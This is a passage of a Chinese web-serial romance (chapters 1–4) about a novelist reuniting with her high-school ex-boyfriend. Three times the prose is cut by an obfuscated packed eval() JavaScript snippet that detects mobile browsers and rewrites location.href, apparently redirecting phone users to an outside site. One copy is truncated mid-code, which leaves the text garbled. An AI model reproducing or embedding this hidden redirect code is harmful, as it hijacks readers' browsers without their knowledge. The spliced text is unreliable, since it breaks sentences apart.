《于情于理[破镜重圆]》 1. 回家 “钥匙在鞋柜第二层最左边鞋子的右鞋里。” 余晴站在门前,对着手机里的这行字无声微笑。 她打字回复对面的人:你藏钥匙的地方真是一点新意都没有。 把手机揣进长裤口袋,余晴挪到左边鞋柜前,伸手拉开柜门,找到了第二层最左边的鞋子,面不改色地把手伸进右鞋里拿出钥匙。 是她的鞋子。 钥匙插入门锁里,余晴打开了门。 室内设施看起来没什么太大的变化,老头之前买的丑屏风还是那样显眼。 余晴关上门,探头探脑地走了两步,对着室内喊了两声:“任祺?纪川序?” 工作日的下午,当然是没人应声。 余晴放下心来,轻车熟路地走到书房,拉开门,被扑面而来的飞尘呛了一个喷嚏。 当初这个房子被沈女士出租给朋友,后来听说住进来的是任祺和他的同学。这些她没插手,唯一的要求是书房暂且不能动,里面有很多她的东西,因为不知道要整到哪里去所以只能堆在书房里。就目前的书房内空气质量看来,任祺他们应该还是挺听话的。 她抬手挥了两下空气,跨过地上一堆杂物,抬头看着柜子里的一堆乱七八糟的东西。 这次回来是来找她高中时的一些旧物,顺便看看能不能把书房再捯饬一下,房子都租出去一年了还不让人家用书房未免有些说不过去。 余晴叹气,看了眼面前的两米大书柜,走出书房从餐厅搬了椅子进来。 脚踩上去,她没看到任何自己要找的的目标物品,只看到一堆排列整齐的青春疼痛小说。 余晴嘴角抽了抽,目光扫过名字大差不差的言情小说,从中抽出一本《霸道冷总的掌心宠》。 这什么书?她怎么一点印象都没有? 余晴皱眉,伸直手臂把书抖了抖,在呛人的空气中小翻了几页。 霸道冷总无父无母,身边只有一个会读表情的神人管家。某次酒宴后冷总喝多进错了房间,邂逅了他的掌心宠,她逃他追,爱情插翅难飞。 余晴站在凳子上快速过完了这本书,思索着咂了咂舌。 古早言情小说不顾女性权益,说要是要说不要还是要,这掌心宠分明是无妄之灾,走错房间的人又不是她,差点被强制爱带球跑的却是她。 但是这么多年过去,这种虐女主身再虐女主心的小说还是很有市场,这让余晴有点动摇道心。 不然她也写一本霸道总裁强制爱,指不定下一个天降紫微星就是她。 但不虐女是余晴写作的出发点更是落脚点。霸总小说不虐点女总感觉逻辑无法闭环,不然总裁霸道在哪里呢?总不能是女主说煎饼果子两个蛋就够了总裁说不行必须给塞十八个蛋不然把你摊子给掀了吧。 霸道到母鸡和摊主的权益都罔顾,不知道的还以为霸总是城管起家。 言情小说真害人。余晴叹着气想把书给塞回去,但死也掰不出一个空隙,怎么都塞不回去。 算了。余晴将书随手一放,继续搜寻其他柜子里有没有自己要找的东西的踪迹。 上上下下翻了半天,把本就凌乱的书房给搞得更乱了之后余晴有些丧气地坐到了凳子上。 奇了怪了,她记得自己没有丢过高中的笔记啊,怎么就是找不着。 以防万一,余晴还是掏出手机给任祺打了个电话。 那边接得很快:“喂?晴姐,怎么了?” “没什么事,就是想问问你和纪川序有没进过书房?” 任祺否认得很快:“我没进过,也没看到他进去过,之前签合同的时候我就和他说过没事别进,里面都是你来不及收拾带走的东西。” 任祺是余晴妈妈沈意琴好友的儿子,比余晴小两岁,和余晴算半个青梅竹马,他说的话余晴也是相信的。 纪川序是任祺的大学同学,余晴和他见过几次,只知道他们俩一块住在这里,别的都不太了解。 “好吧。”余晴也没多说什么,只是思绪不知道飞到哪里去,这死嘴比脑子还快,“你和纪川序真没在谈恋爱啊?” “......” 那边没了声音,余晴也赶紧回神:“欸,我就随口一问,你别放心上。晚上请你吃饭。” 任祺在那头秒回:“好啊晴姐,一言为定,我想吃烤肉,隔壁亿达新开的那家,人均三百多听说特好吃。” 余晴翻着柜子里的书,漫不经心地回答:“阿姨前几天还在问我最近有没有和你联系,让我带认识的女生来跟你相亲。” “......我请。” 余晴满意地笑起来:“破费了。” 任祺说不过她,更逃避相亲这件事,连忙转移话题:“晴姐你这次回来是找什么东西啊?有没有可能没放在书房?” 余晴把手机从左手换到右手,犹豫了三秒钟后直说道:“我高中的笔记,写小说要用。” 妈呀,写了大半年一毛钱没赚到还这么用心也是没谁了。 任祺敢这么想却不敢这么说,只能帮忙回忆:“我记得搬进来的时候我那个房间里好像没有什么笔记和本子,老纪那里我不知道。哦对了晴姐,老纪下午好像会回家一趟,我和他说过了你下午会回去,指不定你一会儿可以问问他。” “行。”余晴也不为难他,“那你上班去吧,我先挂了,拜。” 电话挂断,余晴看了眼时间,下午三点半,时间还早。 她踩着任祺特意给她留的女士拖鞋离开书房,进了餐厅后毫不客气地打开了冰箱,看到了令自己满意的一幕——整个冷藏层几乎全是饮料。 可乐、芬达、冰红茶、乌龙茶、电解质水..... 也不怕喝出糖尿病来。余晴一边扫视一边摇头,最后眼神停在角落里的茉莉蜜茶上。 她眼神顿了一下,伸手把这瓶饮料拿出来,后又发现整个冰箱里只有这么一瓶,于是又给放了回去,随手拿了一瓶别的茶饮料。 五月底的沥州气温不算很高但也已经步入夏季,余晴特别怕热,但现在这个家不属于她,她也不好随意把空调给开了,只能喝个茶解解渴,几块钱的东西他们俩也不会和她计较的。 猛灌了两口后余晴带着茶回了那脏乱的书房,把门给掩上后继续搜寻着书桌旁的几个小抽屉。 她要找的东西全都没找到,只翻出一堆黑历史。 余晴皱着眉看着从五三练习册里拿出来的几张纸,全都是高中时候学校发的草稿纸,但上面记的不是数学公式,而是她在高中胡乱写的小短篇。 女主不是别人,就是她余晴。 男主... 余晴盯着草稿纸里的那个熟悉的名字看了好一会儿后才扯了下唇角。 男主已经不是她的男主了。 余晴没什么情绪地把几张纸叠了叠,又夹进练习册,再把练习册甩回抽屉里。 她蹲到书桌下,翻着那个侧开门的小柜,心里犯嘀咕。 连没写过多少页的五三都在家里躺得好好的,她以前最用心最宝贝的笔记怎么没了呢? 高中时期已经过去太久,久到余晴试图回忆起一些细枝末节时脑海里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669897|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总是只能想起一个人。 她有些心烦地拿出手机,又一次给任祺发了消息:我高中毕业的时候真没有把笔记给你啊? 任祺似乎是在忙,没有马上回复,余晴也只能把手机给收了起来。 其实没有笔记也没什么关系,但是余晴下一本要开的新文女主是个高中生,她是脚踏实地派,不写贵族学校只写寒门学子,为求真实才想把自己以前笔记找出来看看。 余晴在灰尘满天飞的书房里又翻了快半个钟,笔记的影子一点没有,早恋回忆却越现越多。 高中的时候班上流行看恐怖小杂志,一本书从第一组第一桌传到第四组最后一排能传一个月,这一个月还包括书被老师收走又被求回来的那段时间。 余晴每次都眼巴巴地等,不是掏不起这个钱只是她不想为这个掏钱。 她在鬼神方面胆子小,但又好奇,花钱买得不偿失,蹭蹭免费的还行。 那人受不了她成天眼巴巴等那破书的样子,后来每周都给她带一本连塑封袋都没拆的全新的,让她第一个看到最新杂志,并且规定她看了就归她所属,不准把杂志外借。 恐怖小杂志看一遍之后也没什么好再看第二遍的了,于是就化身传情小飞鸽。余晴看完就写点观后感和其他有的没的,再把书塞回给他。 例如她手头这一本,余晴看到最后一页上写着—— “这个故事太鬼扯了,为什么把错误归咎到这个女鬼身上,她被伤害所以才要去报复伤害她的人而已,这篇写得太烂了我要去投诉杂志社,这种烂故事都收为什么不收我写的。” 在这段话下面是小幅度的空白,而后又是她的笔迹—— “你应该永远都不会离开我吧?” 十七岁的余晴笔迹略带青涩,却写下了那时候最直白的愿望。 她伸手抚过那行字,很轻地笑了一下,随后把杂志给合上,人也离开了书桌处,在这个没多大的小书房里转着圈看看有没有被遗漏的角落。 手机振动让她停下脚步,任祺发来消息:晴姐,你学理我学文,你笔记给我我有什么用? 道理是这个道理,但余晴还是略带不满地回复他:想要我笔记的人很多欸好不好!你是不是忘了当年谁是沥州一中的传奇! 沥州一中的传奇。任祺看着这几个字,脑中浮现出另一个人的名字,但他没敢打出来,只能发个表情包过去打哈哈。 余晴也不想再理他,拿着自己喝了一半的茶饮料走到客厅坐到沙发上,打开手机app想先看看任祺要吃的那家店有什么招牌。 看手机菜单过于专注的余晴完全没听见门打开的声音,于是等纪川序踩着拖鞋走近喊她的时候她吓得手机都摔了。 “啊——” 纪川序不知道她这句哀嚎是被自己吓到还是在为手机默哀,但余晴没空理他,赶紧把手机从地上捡起来,映入眼帘的是碎了一角的钢化膜。 可惜纪川序不是任祺,后者她可以选择很多不同的办法来教训一下,在前者眼里她不仅是房东更是任祺亲近的姐姐,于是她只能强撑起一个笑容扭头。 只是那本来就勉强的笑容在看到纪川序身边的人时变得更加僵硬。 “余晴姐,任祺和我说了你今天要回来找东西但是好像没找到,他让我回来了帮帮你。”纪川序笑着看她,随后朝右边侧了侧身,让那个人的身影更为清晰。 “这是我朋友,叫庾礼。下午我去接机就先带他回来了,说起来挺巧的欸,你们俩名字连起来念是一个成语呢。” 余晴庾礼,于情于理。 2. 前任 余晴不知道好好的人均三百烤肉大餐为什么变成了人均三十烤肉大排档。 更不知道为什么一切都这样碰巧,她只是随便选了一天回自己的家拿东西,却碰上了八年没再见过的前男友。 此刻,前男友就坐在她的对面。 时间倒转回余晴见到庾礼的时刻,她罕见地没控制好自己的表情。直到纪川序开口问她回来是找什么需不需要帮忙,她才如梦初醒般带着自己碎了一角屏幕膜的手机重新进了书房。 书房还是那样凌乱,余晴却一眼锁定了自己随意摊在桌上的恐怖小杂志。 她走过去,伸手把杂志合上,像抚平自己的心情一样轻轻抚平书页后将杂志叠放在一个角落的柜子里,静静地把柜门给关上后才又走出了书房。 庾礼已经坐到沙发上,听到动静后和纪川序一起抬眼看她。 余晴微笑,心率和平常相比没有任何异常,她看向纪川序,轻声道:“我先走了。” “晴姐——”纪川序叫住她,笑着邀请,“晚上我们一起吃饭吧?就当给我朋友接风了。我和任祺也说了,他和我说晚上本来打算和你一块吃的,现在可以我们四个一块。” 我们四个。谁和谁是我们? 余晴对着纪川序摇头:“你们吃吧,我先回去了。” “晴姐!”纪川序从沙发上站起来,走到了余晴身边,低头看她的同时压低声音,“我朋友长得还可以吧,人也是单身,我觉得你们可以认识认识。而且你不是写小说吗,多见点人攒点素材不是挺好?” 余晴只见过纪川序几次,每次任祺都在场。在任祺的衬托下,他的没眼力见愈发明显。 余晴不了解他,他也不了解余晴。不然他很快就能从这个从来不抗拒社交也几乎没有黑过脸的女生身上看出一些问题。 但余晴也并不介意直接告诉他到底有什么问题。 “谁说我和他不认识了?”余晴歪了歪头,露出一个略带嘲讽的笑容。 这九个字出乎纪川序的预料,他的面部表情急速变化,不可置信地看看她又转头看了眼庾礼:“你们认识啊?那你们是什么关系?” 庾礼靠坐在沙发上,没有出声,只是看着余晴,等着她的回答。 按照余晴的性格,他猜测她大概会说是“高中同学”。这既是事实又不会引起多余的争端。 余晴能感受到来自前男友的炽热的目光,但她始终没有看他一眼,只回答了纪川序的问题。 “前任。”她说。 - 听纪川序复述到这里,任祺终于忍无可忍地开口:“晴姐说她和庾礼是前任,然后你还在邀请她们俩一起吃饭?” 纪川序的脑回路很简单。 这样轻而易举就承认前任关系的,分手的时候肯定很体面,这样的体面不会再容不下一顿饭。于是他在脑子宕机几秒后又很快发出吃饭的邀请。 任祺对这套理论瞠目结舌,但事实是它的确奏效了。 两位当事人看起来似乎都没有什么意见,现在正在距离他们不远处的位置里坐着,面对面低头玩手机。 任祺佯装在挑烤串,实则还在偷看那俩人。 他和庾礼不算多熟,但和余晴从小到大都一起相处,知道余晴的这一系列行为也并没有什么太大异常。 她就是这样坦荡的一个人,前任关系于她而言也并不算尴尬,毕竟她是能处理好任何关系的余晴。愿意答应来吃饭也是给身为他大学同学兼现任室友的纪川序一个面子。 但任祺还是把手里的篮子往纪川序手里一塞,让他看着选,自己三两步坐回了余晴身边。 余晴对他的到来没有任何反应,反而是对面的庾礼抬起了头看向他。 刚刚没来得及打的招呼在现在补上,任祺稍显尴尬地开口:“学长,好久不见,你回国啦。” “好久不见。”庾礼点头,“听纪川序说你现在在A厂工作?” “是的。”任祺回答,“做原画设计。” 回忆起高中时期校服总是被颜料搞得很脏的任祺,庾礼眼里露出一点笑意:“恭喜你。” 这是任祺的梦想。 他终于露出一个真心的笑容,也对着庾礼发出关心:“谢谢学长。学长这次回来是久居吗?之后还回英国吗?” 庾礼点头:“以后就在沥州工作,没特殊情况就不去英国了。” 任祺还是没忍住用余光去看余晴,但身边的人一切如常,滑动手机的频率都没有任何改变。 有话想说,但被拿着账单回来的纪川序给截胡,他把手里的东西放到余晴眼前,问:“晴姐,你看看还有没有你想吃的但是没点的?” 余晴接过,大致扫了一眼,看到上面有烤馒头之后就没再看,把账单转手塞给了任祺。 任祺仔仔细细地看完,问出一句:“饮料呢?” “点了。”纪川序朝着不远处提着篮子过来的服务员抬了下下巴。 服务员把篮子里的啤酒和其他饮品放到桌上,纪川序接手,把四瓶啤酒一对一地分好,只是在最后一瓶递给余晴的时候被两只手给拦了下来。 “她酒精过敏。” “晴姐喝不了酒。” 两句话同步落下,任祺马上抿住了嘴唇,逃避了庾礼投来的视线。 余晴面上没什么波澜,只对着纪川序点头:“我喝不了,你退了吧。” 就一瓶啤酒而已没什么好退的。纪川序接过,拿开瓶器撬开瓶盖,给自己在内的三位男性都倒上。 任祺酒杯都碰到嘴唇又被他拿开,他转头看向余晴:“吃完我开车送你回去?” 花生米被余晴咬得嘎嘣脆,她抬起眼皮,看向的却是纪川序:“举报,任祺要逃酒。” 纪川序被逗笑:“如果他要送你的话那就别喝了。” “不用。”余晴看了眼手机里的时间,“我坐地铁回去就行。” 几个碟子很快被送到桌上,任祺自然地把有烤馒头的那碟放到余晴面前,把炼乳碟也拿了过来。 余晴连一个谢字都没说,拿起串就吃起来。 两个人自然的互动一滴不漏地被庾礼纳入眼底,他看了眼任祺见底的酒杯,抬手又给他倒上。 放下酒瓶,庾礼淡笑着开口:“学弟现在是单身吗?” “是。”任祺抬手和他碰杯,故作不经意地反问,“学长呢?” 庾礼没说话,很轻地点了下头。 余晴仍旧在埋头吃她的烤馒头,庾礼这个视角只能看到她乌黑的发顶和她长翘的睫毛。 他收回目光,又看向任祺:“我这几天可能要先在你们这边借住一下,你方便吗?” 别说任祺,连去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669898|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接机的纪川序都是头次听到这个消息。他有些意外地看向他。 换作平常,任祺当然是无所谓。曾经也有他或者是纪川序的朋友在家里短暂住几天的经历,毕竟客房空着也是空着。 但庾礼稍微有些特殊。 任祺又一次看向余晴。她的烤馒头已经吃完了,现在正撑着脸看窗外。 玻璃上模糊着倒映出其他几个人看向她的样子,余晴终于坐直。 她拿过桌上的空酒杯,往里浅浅地倒了一个底的啤酒,拿着酒杯抬手,和庾礼的酒杯轻碰了下。 很轻的一下,庾礼的酒杯没有偏移一分一毫,杯中的液体也没有起任何波澜。 “欢迎回国。” 她说完就一饮而尽,把空酒杯推到任祺手边。 任祺了然,看向对面不知道在想什么的庾礼:“学长,借住几天当然没问题,你住客房可以吗?” 庾礼终于有所动作,拿起刚刚被余晴碰过杯的酒杯,一口喝光后才对着任祺回答:“可以。” 他又看向余晴,她已经恢复成了喝酒之前的姿势,手撑着下巴看着窗外。 庾礼看着她白皙的脖颈,没有出声。 八年前的夏天,余晴因为酒精过敏而引发急性荨麻疹被送往医院急诊之前,她的颈部是最先有反应的地方。 反应很轻微的时候庾礼就注意到了,因为余晴喝了酒脸不红,但脖子却泛着异常的红。他还握着她的手,关切地问她:“刚刚一口气喝了那么多不难受吗?” 余晴第一次喝啤酒就一口气喝了大半罐,眼睛亮晶晶地笑:“不难受啊。” 但也仅限那么一会儿,她很快就也感觉到不对劲,拉着庾礼和自己一起去医院。 她们共同注视着针扎入手背,余晴难受得说不出话,庾礼把头埋在她的颈侧,反反复复地道歉。为他不知道她酒精过敏道歉,为没有早点带她来医院道歉,为他没有照顾好她道歉。 两大瓶点滴,打完已经是半夜,她的体表症状已经不再明显,只是累得睡着了。 他握着她的另一只手,许下了一句郑重的誓言——“以后我会好好照顾你,不会再让你这样难受。” 熟睡中的她没听到这句话。 他那个时候也没料到,她们没再有以后。 回过神来,庾礼再次看向她的脖颈,泛着淡淡的红,但其他地方都没什么反应,余晴本人看起来也没问题。 对着窗外发了半天呆后她终于又有食欲,低头审视着桌上被肉堆满的碟子,思考着要拿什么。 庾礼伸手,把牛肉那碟换到她的面前。 “谢谢。”他听到她说。 余晴在那碟全是牛肉串的碟子里随便选了一串,一边听纪川序和任祺聊天一边吃。 三四串下肚,她又一次体会到饱腹感,把碟子又给推回到庾礼跟前。 他低眼看向她,她也毫不回避,轻声道:“我吃饱了。” 庾礼再次看向她的颈侧,似乎已经不再那样泛红,仿佛一切都只是他的错觉。 八年前的夏季不会再重来,现在的余晴也不会再让自己陷入要进急诊的危险境地。 一切都那样自然,自然得好像她和他就只是高中同学那样普通的关系。 但庾礼比谁都清楚,他是她的前男友。 却也仅此而已。 3. 抽烟 天色渐黑,吃完饭的四个人一起离开了大排档。 初夏的风扑面而来,吹得余晴头发乱飞。 发丝从庾礼眼前掠过,又回到余晴脑后,被她用手抚平。 他看着前面和任祺并肩走着的余晴,下意识地回忆起高中时期。 余晴并不矮,在班上能坐倒数第二排。那个时候,庾礼就总是看着她的背影。 她乌黑顺滑的头发,偶尔露出的纤细细腻的后颈,还有她不需要任何动作就自然散发的青春气息。 现在的余晴不再像高中那样青春有活力,但他相信她的性格底色永远不会变。 她开朗率真,谦逊有礼,乐于助人,高中时期人见人爱。 他相信她永远都会是这样,却仍希望她会因看到自己而有些许的不自然。 或许今天他也算是在某种程度上达到了自己的目的。 从纪川序带他进小区时他就觉得有哪里不太对劲,后来他开门,庾礼一眼就看到摆在屋子里的屏风。 高三的某个周五下了大雨,还是大考前夕,为了清考场,庾礼帮余晴把教辅给搬回来。 她打开门之后跑来跑去,又是给他找拖鞋又是给他拿毛巾,但最后他还是没踏进去。 余晴也没强迫,只是笑着对他说:“我们家这个丑屏风前几天才运过来的,不知道我爸怎么突然整了个这个,还摆在一开门就能看到的地方。” 他没觉得这屏风有多丑,但余晴的话让他多看了两眼。 时隔八年,这个屏风依旧让他印象深刻。 纪川序给他拿了拖鞋就往里面走,庾礼跟在他身后,看到沙发上蜷缩着的一个身影。 还没看到正脸的时候他就能确定这个人就是余晴。 余晴。余晴。 每次想到这个名字,他的心头都弥漫出无法形容的感受。他曾经以为这种感觉是心痛,后来发现也不仅仅是心痛,还有很多贪恋。 和她一起经历过的台风天的危险和黏腻,她课间惺忪的睡颜,她站在年级大榜前骄傲的神色,她永远像只蝴蝶一样翩跹的灵动。 记忆里的她就那样又出现在他的面前,伴随着一声被吓到的尖叫,没有给他任何准备的时间。 他还没有整理好心情,就看到她僵住的表情。 纪川序还站在一旁对她进行介绍,就好像两个人是初次见面一样。 他也对自己发现两个人名字连在一起是一个成语这件事感到很得意,像发现什么天机。 但余晴和庾礼早在多年前就发现了这件事,这也是她们亲近的一大契机,更成为双方生命中无法磨灭的印记。 当被喊出名字,她们都会下意识地想到另一个人的名字。 曾经如影随形,相偎相依。分开后却成为咒语。 纪川序的触碰让庾礼回过神来,他低头,是烟盒的一角抵着他的手臂。 庾礼接过,倒出一根烟衔在唇边,按下纪川序递来的打火机。 听到声音,余晴下意识地回头看了一眼,正好碰上庾礼呼出一口烟。 烟雾弥漫在二人之间,模糊了面目和距离。 三秒后,她又扭过了头。 已经能看到地铁站的入口,她停下脚步,对着任祺说:“我回去了。” 任祺刚想点头,又想起她下午回家的事,问了一嘴:“书房里没找到笔记吗?” “没找到。”余晴怀疑那些笔记是被沈意琴给了哪个表妹堂妹,这么多年过去都下落不明,估计是再也找不回来。 她浅浅地笑了下:“没事,之后再说吧。” 余晴看向因为在抽烟所以离自己有些距离的纪川序,朝他挥手:“我走了。” “拜拜,晴姐常来玩。”他没夹烟的手也对着她挥了挥。 余晴点头,又看向庾礼。 他手上的烟不知道什么时候灭掉了,此刻单手插在裤兜里站着。 余晴没说话,脸上不带表情地对着他也挥了下手,没等他有回应就转身往地铁站的方向走。 任祺看着她进了地铁站后才转身,眼神复杂地看向庾礼。 当年余晴和庾礼恋爱的时候,任祺还只是一个初三生,后来他升高一入学,一入学就听到关于二人的很多八卦。 真真假假掺在一起,任祺并不好分辨,但知道余晴在那段时间真的很快乐,在那段大家普遍觉得痛苦难捱的高三里。 那份快乐在八月份似乎戛然而止,他听闻余晴和庾礼分手,庾礼即将前往英国读书,余晴和朋友到处旅游。 在余晴出发去京州读书的前两天,他在送行的晚宴上才再次看到她。 她看起来一切如常,脸上始终挂着笑容,长辈们的打趣她全盘接收,小辈们的好奇她有问必答。 她到底是真的不在意还是假装不在意,从来没有人问过。 而这个问题现在也不再重要。 - 忘记带耳机出门的余晴一路想着小说情节回了家。 开门后屋里大亮,余晴知道李落已经回来。 果不其然——“格格吉祥。” “免礼平身。”余晴换好拖鞋往里走,一屁股躺到沙发上。 李落知道她下午回家找东西去了,看她两手空空回来,伸腿踢她:“东西没找到?” “没有。”余晴还是觉得很蹊跷,“有没有在你这里啊?” 李落说的话跟任祺差不多:“你学理我学文,我拿你笔记干什么?” 余晴没回答,眼睛还看着天花板的吊灯。 吊灯是李落买下这间房子时最先定下的家具,和她家里老头老太喜欢的伪宫廷奢华风的流苏吊灯不一样,李落选的吊灯很简单,形状像揉成一团的纸,光晕也柔和。 余晴对着吊灯眨了下眼睛,冷不丁地开口:“我今天见到我前男友了。” 李落刷短视频的手顿了一下,抬眼看她:“邱明轩?” “这种贱人也配当你前男友?”余晴坐起来,复述她的原话,“这不是你说的?” 李落拉长音调“啊”了一声,很快又想到一个人。 也只有那一个人符合她对前男友的定义。 余晴饶有兴趣地看着她面部表情的变化,从恍然大悟到皱起眉头最后捏起鼻子。 李落怪声怪气地开口:“庾礼啊?他回国了?” 余晴“嗯”了声:“他和任祺那个同居的大学同学认识,说是今天刚回国。” 李落哈哈一声,手握成拳作话筒样放到她嘴边:“今天见到前男友什么心情?他变丑了吗?” “你要听我说实话?”余晴睨她一眼。 李落知道实话绝对不是自己想听的,她翻了个白眼:“也就那张脸管点用,你当初和他分手的时候怎么不毁他容再让他滚去英国?” “因为我不想坐牢。”余晴实话实说,“而且我舍不得。” 李落敛了笑容:“八年前舍不得?还是现在舍不得?” 八年前她舍不得也不得不舍,八年后她没有资格对不属于自己的事物表达舍得或不舍得。 余晴没回答她的问题,站了起来,却被李落一把扣住手腕:“去哪里?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669899|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “去洗澡。”余晴好笑地看她,“庾礼回来你反应比我还大,你还那么讨厌他呢?” 李落松开她的手腕,神色不明地看着她,问出没头没尾的三个字:“你会吗?” “不会。”余晴蹲下身,认真地回答,“我对他没感情。” 李落“嗯”了一声:“就算他给你小说一次性投一万个雷你也不会多看他一眼?” 身边的女人明显犹豫起来,李落恨铁不成钢地大喊她的名字。 余晴掰着手指头:“一个雷一块钱,一万个雷一万块钱,我可以分到一半,5000块。但这不是最主要的,最主要的是一万个雷我的小说在榜单上可以有一个质的飞跃。” 李落嗤笑一声,把手机掏出来:“晴格格是吧,我给你投,投多少个你才能有一个小飞跃?” 勾勾文学城签约作家晴格格连忙握住她的手,顺势盖住手机屏幕,不想看到自己那可怜的个位数收藏:“飞跃不了,你别浪费钱了。” 她又站起来,若无其事地揭过话题:“我去洗澡了。” 洗完澡她擦着头发出来,李落已经不在沙发上,只有她捡回来的那只流浪猫在扒拉沙发。 “狗狗来。”余晴撕开猫条,一边摸着猫一边喂。 似乎是察觉到室内的动静,在阳台关着门抽烟的李落回过头,对着余晴伸出一根警告的手指。 余晴“啊哦”了一声:“你今天已经吃过了啊?那不能喂了。” 她拿过夹子把猫条夹上,走到阳台那里敲了敲玻璃门。 李落灭掉烟,把门推开:“你又喂它。” “我以为它没吃呢,就那么点猫条没事啦。”余晴跨进阳台,嗅了嗅,“草莓爆珠?” 李落终于笑起来:“狗鼻子啊,这也能闻出来,试试吗?” 烟都递到一半,李落猛地想起什么,又把盒子捏在手里收了回来。 余晴坐在小凳子上,对着她咧开嘴笑了。 李落记起余晴是抽过烟的,也就只有那么一回,就在她和庾礼分手那天晚上。 她白天高高兴兴地去约会,还穿了新买的裙子,用了新买的唇蜜,李落还以为她会永远那样高兴下去,却在晚上接到她的电话。 余晴的声音有些发抖,却没有在哭,她说:“李落,我在你家楼下,你有空吗?” 李落下来见她,余晴呼出一口气后告诉她她分手了。 她们在蚊虫飞舞的街道边对视着,李落看着她湿润的眼睛,问出的话却是:“我是第一个知道的吗?” 余晴用力点头。 李落上前一步,在这个闷热的夜晚抱住她:“余晴,别怕伤心。” 别怕伤心。 余晴的眼泪终于流下来,在这句不算安慰的安慰之下,她终于敢外放自己的伤心。 她哭得眼泪鼻涕一处流,一些在她脸上,一些在李落的深色短袖上。 哭到抽泣,她从李落的裤子口袋里摸出烟盒和打火机,抖着手拿出一根烟点上火。 她猛吸一口,然后被呛得弯下身呕吐。 李落始终温和地看着她。 烟被夹在余晴因为写字而磨出小茧的右手食指与中指之间,她又吸了第二口,再次被呛到。 余晴心想自己又被言情小说骗了,抽烟不会让人感觉放松,也不会让人停止流眼泪。 她的烟被李落接了过去。 在这个闷热的夏夜里,她们蹲在一起,李落在抽她剩下的烟,余晴抱着自己的胳膊用力地流泪。 往后的八年里,她们始终在一起。 4. 见过 回到屋里,余晴在沙发上找到了把自己团起来的猫。 “你说狗狗怎么不长肉呢?”余晴把猫挪到自己腿上,仔细端详。 李落坐到她身边,凉凉开口:“你不也是?” “我不长肉是因为我不爱吃饭。”余晴说,“狗狗吃得不少啊。” 李落冷哼一声,坐在她身边看手机,突然蹦出一条微信。 她没管,等着消息栏自动消失。 消息栏消失的下一秒,微信电话打了过来。 李落手机向来不静音,余晴听到声音,和狗狗同步转头。 “谁的电话啊?”她随口问。 李落把手机界面给她看。 “蓓蓓?”余晴挑眉,“怎么不接?” “绝对来问你前男友的,赌不赌?”李落看她一眼,接起电话,开了外放。 嗲嗲的女声在那头以高分贝询问:“李落!庾礼回国了你知道吗!” 余晴没忍住笑,被那头耳朵很尖的盛蓓蓓捕捉到,她分贝更高了:“坦坦你也在啊!” “盛蓓蓓——”李落拉长音警告她,“庾礼回国关你什么事?又关我什么事?你存心来惹我?” 李落讨厌庾礼,从认识庾礼的第一天起就讨厌,谁都知道。 盛蓓蓓关注庾礼,从认识庾礼的第一天起就关注,同样人尽皆知。 这两个人同为余晴最亲近的好友。 “哦。”盛蓓蓓害怕她真的生气,连忙消停下去,“那你把手机给坦坦呗,我和她说。” 李落不耐烦地把手机往她这里举,余晴回应了她:“我知道啊,我今天见到他了,你怎么知道他今天回来的?” “哦,我看他微博定位变了。”盛蓓蓓丝毫没隐瞒自己在视奸的事实,“你今天见到他啦?他有没有变丑啊?” 余晴忍笑,转头看见李落翻了一个标准的白眼。 “没有,还是很帅。”余晴笑着回答,丝毫没因为讨论的人是前男友而有坏心情。 盛蓓蓓犹豫了一会,问出了她最好奇的问题:“坦坦,你会和他复合吗?” 电话这头和那头都在这一刻静默下去,余晴把对李落说的话又对盛蓓蓓说了一次:“不会。” 盛蓓蓓思考了一会,复又开口:“就算他买下你小说的版权也不会?” 余晴又一次陷入思考,李落和盛蓓蓓同时开口。 “余晴!” 余晴抱紧膝盖上的狗狗,把脸埋了进去。 说不准,这个真的说不准。 - 没出息的余晴一觉睡到大下午,睡醒的时候感觉脑子跟搅拌过的饺子馅一样混乱和黏糊。 昨晚李落挂了盛蓓蓓的电话之后就强迫余晴和她一起看恐怖片。 余晴胆子小,只能戴上耳塞靠在她旁边试图入眠。 闭上眼后她没能睡着,却又陷入回忆。 高三的一模结束后,那天的晚自习拿来放电影。 余晴喜欢看电影,但不喜欢晚上在教室里关着灯看,即便庾礼就坐在她身后。 电影不知道是谁选的,大名鼎鼎的《TheShining》,余晴听过但没看过。 电影刚开始播放,庾礼就在后面碰了碰余晴。 她吓了一跳,缓缓转身,愣愣地眨了眨眼睛。 庾礼很快就察觉到不对劲,伸手在她眼前挥了两下:“余晴?” 余晴的眼神根本找不到落点,凭本能往前凑了点,小声说:“我有夜盲症,看不太清。” 庾礼猜的也是夜盲症,没想到她就这样轻松脱口:“会很不舒服吗?” 